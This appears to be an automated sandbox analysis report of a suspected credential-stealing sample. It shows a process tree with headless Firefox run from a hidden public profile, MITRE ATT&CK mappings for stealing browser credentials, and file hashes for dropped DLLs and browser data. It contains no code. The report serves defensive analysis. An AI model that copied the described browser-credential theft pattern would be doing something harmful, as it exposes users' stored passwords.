    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4832,i,14886605205676214020,9941835462327704425,524288 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:8
    3⤵
    PID:776
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5952,i,18096058933683533305,11299839158502216141,524288 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:8
    3⤵
    PID:6128
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5952,i,18096058933683533305,11299839158502216141,524288 --field-trial-handle=2964,i,15703240413168066870,12955442445662204308,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:8
    3⤵
    PID:1428
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2712 -prefsLen 24447 -prefMapHandle 2716 -prefMapSize 268548 -ipcHandle 2780 -initialChannelId {0c87304d-17ef-4f0c-ba43-35b4bbc1a81d} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:4480
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1616 -prefsLen 24658 -prefMapHandle 3512 -prefMapSize 268548 -jsInitHandle 3516 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3524 -initialChannelId {b7512ad6-de74-4c76-9d13-5cd2e172c0c8} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:5160
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3752 -prefsLen 25544 -prefMapHandle 3756 -prefMapSize 268548 -ipcHandle 3776 -initialChannelId {a1484da9-1c14-4bcb-ac4c-9e858e59a8be} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:1724
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4044 -prefsLen 25606 -prefMapHandle 4048 -prefMapSize 268548 -jsInitHandle 4052 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4060 -initialChannelId {3335b744-573b-49a6-bdbe-d3ac20e3537d} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:4988
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4736 -prefsLen 36214 -prefMapHandle 4744 -prefMapSize 268548 -ipcHandle 4824 -initialChannelId {0a8bfdec-e42b-4b69-afa1-a0033821f972} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:5024
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4768 -prefsLen 34319 -prefMapHandle 4772 -prefMapSize 268548 -jsInitHandle 4776 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4832 -initialChannelId {391e94f0-e0ae-43aa-8d90-5f4be7693b0d} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:4844
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4792 -prefsLen 34319 -prefMapHandle 4796 -prefMapSize 268548 -jsInitHandle 4800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4852 -initialChannelId {0692ecf7-ad85-4b98-9da2-6326400e4423} -parentPid 4500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:4956

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5744

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5288

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 2e13e5f0cf47cac3cbc3b9c1412da9a4cfcf3cbe84165e6932433b6b65bae4f5
MD5 aacf2261b2f1f560e3dae0064cd601d4
SHA1 2c93cc7643eb582e741a96a3288aa429606628ac
SHA512 e1a12a1bb66ea36dfa998add0b7b803a389bf4026061b1e55d567c3255532b1865ca75fdcbd73d3e66d7ab266f91ac2f31585edbb3a7a4ebbe58d3ae74725e21
TLSH
T17AE02BE6C8119C374CFF076921558A45FB60232B6B408D4B363D91288FB01368B99D5C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 51aea440a952e53a44324aced3604023cd112e268dd901ae83b57075d519fe1b
MD5 4bb06f9446c6b2f9ce73f857285d1266
SHA1 4b2c9102effeeddeb0d08657a46587230d03fce3
SHA512 9c7fe8695bdeca34ddb5afb618c0b64a0ca28265c802ea7795840d583d084bfc906599a2570b98c00718dda153c4e968c0e79cb1c01608422697a53a3dd50e94
SSDEEP 3072:t+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gy:t+hFD+7t56OD9ZfSAppry
TLSH
T192D31232AA91C8BBC9BC6541B257A304DE766CED41DE3A09444A5F8EE09FD4C0773A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b7c7b629cf980554ba201945f9dbcd1c64e77cc796fc6d8aedbe4749bf0d2698
MD5 844568391c8d79f46705230953f1d7f9
SHA1 a9cd387c1c5dddc3c8fa77739776f3408ec661d4
SHA512 85a2814e7f88919b1be438203c2053dccaf55dcefa377da5cfa8fa7daf780315b818c6b4ce3d02d6cc49b8673ba077bf7b9fd475c54c978185fc230f70cd9b53
TLSH
T13CD02B449DC43A64E942243A22185281B14489550A07244041E303940C813B200840D1
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 db759c3c3934bf56069e934969b7b09f586fed452182c151bd01633b9b27bf87
MD5 ab67867c211ab688848725ec145740f0
SHA1 c091eed57aaf62fb4b4c293d73ad6ac09823e67a
SHA512 36ec910e186d3dbb24e30337fbca8d6f6bcd7a8f248a4d5f5379e227776ea65d887c40363ac37f303049490eb20265c1934114c84ce3526c2d0868d9793068a6
TLSH
T177D02B4899C83A64E956243A22185281B0448D550A07244041A303840C413B200840D1
MD5 SHA1 SHA512 TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 9c9de74a2a295354225a1d7c8372b2d2a051210bd3485bcbe8ac84e538ecfab3
MD5 3e2e259a1d1ef3af58c0ff9c76ab0b8f
SHA1 dbb071773be8d29d97bf6ca9db86bb916756eb87
SHA512 f14f287452e2e4f314d05035fd31819dd87edb739ea59d12d11a079c230b34d4ba954a3ed4990f903e35ec273840dd9598759960ce6069acaf8d4e6bc5d83535
TLSH
T13BE02BE9CC16AC3B08FD571D50554641EB4113472B80884B3B3DD11E8FF1A36958A86C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 8b385be01bcd1c6e06dfd9f7390d9569da099ad31da49cd5bdfd5eb832cc203f
MD5 a8034a5cc0dd9d73220db90d181298ac
SHA1 20cef07608ec1f5d50aba2834806a1787eb2c0cd
SHA512 181104204f21c713c0b8efc5ed6ccb0f72d4c3bbc54f54938c0567d54887ad4641367d46abd74948253a7cd3e27051d3282db1cda15454f71140aefedbc5298f
SSDEEP 192:Ojhff4AZWCAmGdiXW6M4hg/YwP6X5vo7FPD1rhP4DFhvXil7B:OtfFvpopPxrB4RhfixB
TLSH
T193B2241571BB021138FE690C81B5971E464232B33258EB2B7FBD14A69E6BF085DFD8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 07d0708f4a2bcdfb0f120d40508d2b8df659f6c38799c5f74582aada383ed881
MD5 168d422b6bc23ec80a577b454041a07c
SHA1 c3479d515b24aea7a2dcb5075e7edd2d3fd0146f
SHA512 d26939ec041ea6486ce7bdb38fde22862c14841b06b0d4103aabae91162c5b108dd14bd22bbb47bf936fd6bf11b098a621cb098b3646e543943c01c5470ad20a
SSDEEP 384:npiFiZcI63sNY8TUNTUlImuf5mg5pn4zf8BeX1vDzIoflE7O6R2FeobgL/7IzpoZ:AFQ63FwgxoeJBeX1bzIofC7TRkm
TLSH
T16AC24B76EC98DABBECFB8F99A74A7A07DEF00163859C59C0DAD85E1D008359D0707C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 3a1389956d262590b1a6feea8e130d60d98063964e3d17beaee843132ed474d9
MD5 5bfa0cde648eb268566070943167b7e7
SHA1 e78ce9acd8772c366327754b157ae09be8755dc1
SHA512 ca958692f3329bac057d9f010ad42184593274117bff16addf83eaa7433993711705a4abdeff75e94eac3861f3a47b7258950cd1459539b0ab5022a1cf322ece
TLSH
T1E0412A5CA6F91158B3B76E56AFF7A86E447A78773E16D05E10000E4F0A66B40C8B1737
MD5 SHA1 SHA512 TLSH

Submit Download

RESC0DA.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC0DA.tmp
Size 1KB
SHA256 8f927374755646ba418474b8553ed15928f8899535cb6a4295378280ffa8cc71
MD5 edd7b5f6b476d672ddc7fa09b8bfa8c9
SHA1 cb07cccdd88417fc5fce9b21d978ea054e62a493
SHA512 4be53dd152485fa65f4fbc6b3898bce356af2f477ac165ec554c6cb550a539c3f5192732b9e32879d80ca9cff35895c79dc336cd02ca3ff744f03d0255bceff4
TLSH
T12821AF0583E94B1EF0734732B9F6576FA268FD59EFA2A35B8540422C1C52504EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

RESC1D4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC1D4.tmp
Size 1KB
SHA256 e5b30ec4ef26c5897b614efb19a3753e2dc4c6541891f3ffa95c16f4e2cc70fd
MD5 c12a2ff99a48475b34824c57521c9112
SHA1 15d5c2249eea9974b5e0d53bf3853eb0d0e56847
SHA512 2f1b60d26c5cef770ebc5edf8f5e5cd233a301913eff59ec12a71460212edc2252edef5ce1744a45ed953dc8fd2507354142124b7997bd73d3cad8659d5a6b8b
TLSH
T14421890593F94B1FF0734731AAF6532BA279FD98EFA2936B8440412C2C90104EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_sprsblgd.ce1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sprsblgd.ce1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

okzmtznh.dll

Path C:\Users\Admin\AppData\Local\Temp\okzmtznh\okzmtznh.dll
Size 3KB
SHA256 b8096a4d150792882ae00b597e82c791f8a0b32d7f01e2af4ba4679a0ec39a9c
MD5 f31dbf2299d37a6863efec1b638e3793
SHA1 9760598a9e1ec9d37a98b4ec9e03c81fad607e0c
SHA512 6cab202dd52450c10786a7ee181a58f334925cda2f294d72b9491c9a67312ee806473e2a274194422ffcf024513019653e8a5f1229897d7506f9c33db9fd3900
TLSH
T1CD51A81BA3E9456BE4B74774AEF3432332B8F8609F73976E4D80026D6C502649E21FB1
MD5 SHA1 SHA512 TLSH

Submit Download

remote-settings-startup-bundle-

Path C:\Users\Admin\AppData\Local\Temp\remote-settings-startup-bundle-
Size 558KB
SHA256 143a1bb964e58e8778108389a9602844b11b3c0e0b0d8add8f1881a9f1dd8ee8
MD5 936985c357a96e33e77c62d92f7e3e01
SHA1 81b159a734f2f26018fa216fc85f372a0dc8dbe4
SHA512 2ccbdaaa1a02f0f7da4b5c624195db7277e5d0789a94df6e8c84c1351000b16ec045f0ffc62209860f57e3644539c546f40c64ea296bf256d5f73df7af32b29e
SSDEEP 12288:BuST1l2dyAj6uwczp4zu11XgJ2/VPEutAJ2YjwnxiN3buJaiaW4neui:BumT2wo7jzpQungJA1EutAcYjwnxihkF
TLSH
T1B9C4F1F6F7603CA3A77E030B9D8A7FAD07529226878FA0CC547B5BC2455362EAF65404
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zgsbtg0i.dll

Path C:\Users\Admin\AppData\Local\Temp\zgsbtg0i\zgsbtg0i.dll
Size 3KB
SHA256 68c7cdd75d0d3e1ec14669b1d4bb694273fdd632101a8bd07806548b3b95f478
MD5 93e20d6dcdaf7f9520a140c79b607f74
SHA1 89c984794481c480fc13121a4cc3f753116fa2f4
SHA512 f6d03762b1e68931270a7af05f02a011f6653b45dbfcebba28c71c5d0c5b44fbda470842678ec934962eff127a63646c191a8afbee83e62b9b544c84e481338f
TLSH
T18251C81BA7E4452BF4B70730AEE3075726A4FCA08B73976A4D81436CAC216246E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 4KB
SHA256 210fc19d6596f80134e0803707cb123b445f33c8b105dcc252f7dca1f634233b
MD5 0f85a625ae7517c72a2d665b3f404b30
SHA1 6b2f431c30abbf4d0dffba4d0e9b2f8e4f6fe7b5
SHA512 145c3f5ec069a0b7740ea363883d97113aadf24b089cf015fcdd9b57de2e8bb79cef2077e300c4796a0de6369f0897b6a72bdce43a84a2f2a1e74d4a7f434583
SSDEEP 96:xHaEqGqId6zvi6ElW9hnM72uQUBw8h9cnep:s3RIdf6Ed72uQUBw8hT
TLSH
T1B4A11DB86444CB6F65F6776CAC6488715E72023B77BF68C710B98484450CF3886F9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 5KB
SHA256 e201b6cb50abc62bbc25e7d61d8da23589b2a6487d2c8700941031bcd3ceaac5
MD5 803fbdc007d2f94012a14289bba46a45
SHA1 228cfa86f820fbca22acdac9f0af3cefe21cd10a
SHA512 1556f7f1f3d5c95ebfb88d03b1aabee8f8879433678042f7680f24af8021a322c714ebee35cc2d61fcf8a142d2e4f58f618fa0d019f04e6ed3df03211f36c7eb
SSDEEP 96:xHY9UiqGqTf6zvoo6Elh9j9ngHp2uQUBw8h9cnep:iERTfno6EKp2uQUBw8hT
TLSH
T110C120785008CB7F74B677ACAC6488719AB2423B7BBF68C750B54484054CF3881F9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 2KB
SHA256 66043dcb7cce5c268e2fa6386c08986d0f36f34d9105e91cabe1c8af4eb7894d
MD5 6463a788fdc175bac70fc70eee716d64
SHA1 c4306e5e163036f8da2a83c23981f56c88fddabd
SHA512 12dfaaac1aa3846fca1db656defe32644e7d92e53063e96011991e63b3a18c9864ddcc02b4645b0728d869cb0177de3c06ccdd5378c1d6d4ecca51ec8cbdd4df
TLSH
T122510CB915048F6FA4FA33ACBC2845A29E72417BB6BF2C8210B48484010CF3856F6AD7
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 48KB
SHA256 576105d0939f55cde6aa9e453fae02f6187320c50784f47b811d6d19ec076bdf
MD5 1024ec2fd753f6f3ab4e888dbe51c04a
SHA1 ebffe99670ff00e7382e5b0c6d41efae6dbdd7dc
SHA512 7d371b2fc46603e7fd9b225340749f05c760bbc3fae390ab58a3843869a4c72037ed8f1eef2e02b20d1042c953987f90a156a5f301a518238aa166fe7dfa53f2
SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0KZMNXCL23Cfi2f6E2A/2g42cRCH2ZC0H7mh9:Oa16S6CdFAWPyh44CfiaR/skL0H7
TLSH
T10423448D3A33AD50CB69F0B8639145AA584FB1DD0030278965D9DF8C842B1ABED1FBF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Public\.ff_tmp\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 56KB
SHA256 098370c4b6365febf947434faa5cb15008745fab0cc22e58d6aa5bf8e4483c64
MD5 33345d90020f08e832f4c5e2a172acb1
SHA1 b08e2331ae5e88f92b89e846376f7339cb0c237d
SHA512 12867ba774791969b1a87d5e7a397326fc3a4e7457369186c00fcc262691933c97c83ed3d6ed31a9a4732c20b27b7919027c246de2976d27d3220c4822518364
SSDEEP 192:wa16S6CdFAWxsfPjh44CfiaR/suOPk0H7qSfP2hk4CfiaRWAMS4CIfi5/:wk6S6CrAWuHjhcfZ6k0H79H2h4f+Tf
TLSH
T1DE43848E3633DD52CB19E07A629642FB544FA1DD00301388669D9F8C841F1AB9E2FFE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCB0ACF58353954F09A9B37C2B1B882B5C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\okzmtznh\CSCB0ACF58353954F09A9B37C2B1B882B5C.TMP
Size 652B
SHA256 729afe41577bcf6823fb36daa0bbde7eb1bb71f5dca5cdb3da866c17390352d0
MD5 2f1b17eb7f35781363ab77da7705e015
SHA1 a3f54b23228aa7e33637ea4a54771b4ef525a01d
SHA512 c9316907d217444e1cae8b96ef72440050748c1c91c4dd583468ae246af36e310a54dee1eb1da2207809a39074a7638716a19adcdc2d59a716c2b6f433dc2fcf
TLSH
T107F05E0AA3F8020EF0F34B70BEF6436391A9BC64DE3393ED1440035D28645249A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

okzmtznh.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\okzmtznh\okzmtznh.0.cs
Size 224B
SHA256 b59d0d5605f676222f00c1b940c6f01b69ee78d5b562094247cc681bad13b135
MD5 ebddd4574eeb83b8d45984a8f616b1cb
SHA1 44282b278b52094bf41799c4a3458de049be9bd8
SHA512 473f18127cc48d35bc35e46047f6b08b8a7eed28cf3eee2696dbff9bbca5d852a64d02afb59839924436b5c966b55746416cb8d81b261380375d04d9e6ad0ca6
TLSH
T12ED02344116491151DC74049D5D88427F226C03033D83F31CDBFDE51CD7084582780CF
MD5 SHA1 SHA512 TLSH

Submit Download

okzmtznh.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\okzmtznh\okzmtznh.cmdline
Size 369B
SHA256 f8348a668db36c765a3be7685f70f846459c62baf49a8f668ac28817fbc4774b
MD5 038501ed03bc92a67e125702ffb440be
SHA1 fee77ee5de1863185f441a9e2083309671924dbc
SHA512 4fcf9b3df8e200f0c5738fa1a77ca09723da761fd7d9c21b787deb78eea9afcf58faa012d4c6a572628cedd2ab475e51934ea6920b640458e60399123a918cf4
TLSH
T1B5E0C03B624EC37D2EFD10072179C4ACD6720B8B3940BF886040491ED06B0092BD1745
MD5 SHA1 SHA512 TLSH

Submit Download

CSC53046EE3B0AE409291659660EBFB6B11.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zgsbtg0i\CSC53046EE3B0AE409291659660EBFB6B11.TMP
Size 652B
SHA256 2d7bab286188cc8d57705f271e291af16e0eb0debe5e1aae8117ffce4632cb6a
MD5 92292f546c15bbc3c2eedd1dafe00855
SHA1 43a2a7cdb3bb81c7e16eaf6ead1a3e1f13740ecc
SHA512 ed93b3ad13e06dc7efa835b113aa4d013029157d5a8a57f54811cb24d83f0d0f7f6ae74bce5562bb7d3e5e465bead921985c47801f43f57bb6096be40665a6c8
TLSH
T1B0F0300AA3F8020EF4F34B30B9F683A39168FC65DE3293ED1440035D5C645108661F71
MD5 SHA1 SHA512 TLSH

Submit Download

zgsbtg0i.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zgsbtg0i\zgsbtg0i.0.cs
Size 222B
SHA256 e07808a347b5d77b462950e43adcd8098152f82269c2619e32b9fea2cbc9029a
MD5 e0c4bb3f381b58920cb33d14e4f9ac40
SHA1 3cfd9831d1c6d7164674afc741658db3c9128943
SHA512 6b25859af3a423a95db4b13bd455a4f499a0f85f91bc1d431ba6a2e4e917982a755b25901f538e5da75e96502f231db4e07382c39758e9831955ba797dc8c9e1
TLSH
T1BDD0A744525481156886440055C85436E525C02032D53631C6BFD951CD7040992784CF
MD5 SHA1 SHA512 TLSH

Submit Download

zgsbtg0i.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zgsbtg0i\zgsbtg0i.cmdline
Size 369B
SHA256 f09508ddafabd68a45f3301df557da9d091cb93a69606b622216b7fd4c78426c
MD5 9d6d2c5453b35d86b585e88abce82602
SHA1 f16b761dc57f9398ba87e2e0d93560ccfd1338a5
SHA512 07c83f69295bcad810a081a78bb6976cc2df6095728488d3445b11cce588f54f4c1cfc5082de6b37683a96079c276f3884de48513979a80f7062aa17745529b7
TLSH
T1FBE0C62B6247CA7D01ED100B266EC8BCC2730F8379883F889040C40DE1278023BD678B
MD5 SHA1 SHA512 TLSH

Submit Download

memory/400-1336-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-1351-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-59-0x0000000000C20000-0x0000000000C5F000-memory.dmp

Download

memory/400-60-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-63-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-68-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-72-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-104-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-109-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-110-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-151-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-152-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-574-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-575-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-576-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-3246-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-3236-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-3237-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-3238-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-3232-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-3230-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-2565-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-2564-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-2560-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-2551-0x0000000002A90000-0x0000000002B50000-memory.dmp

Download

memory/400-1433-0x0000000002A90000-0x0000000002B50000-memory.dmp
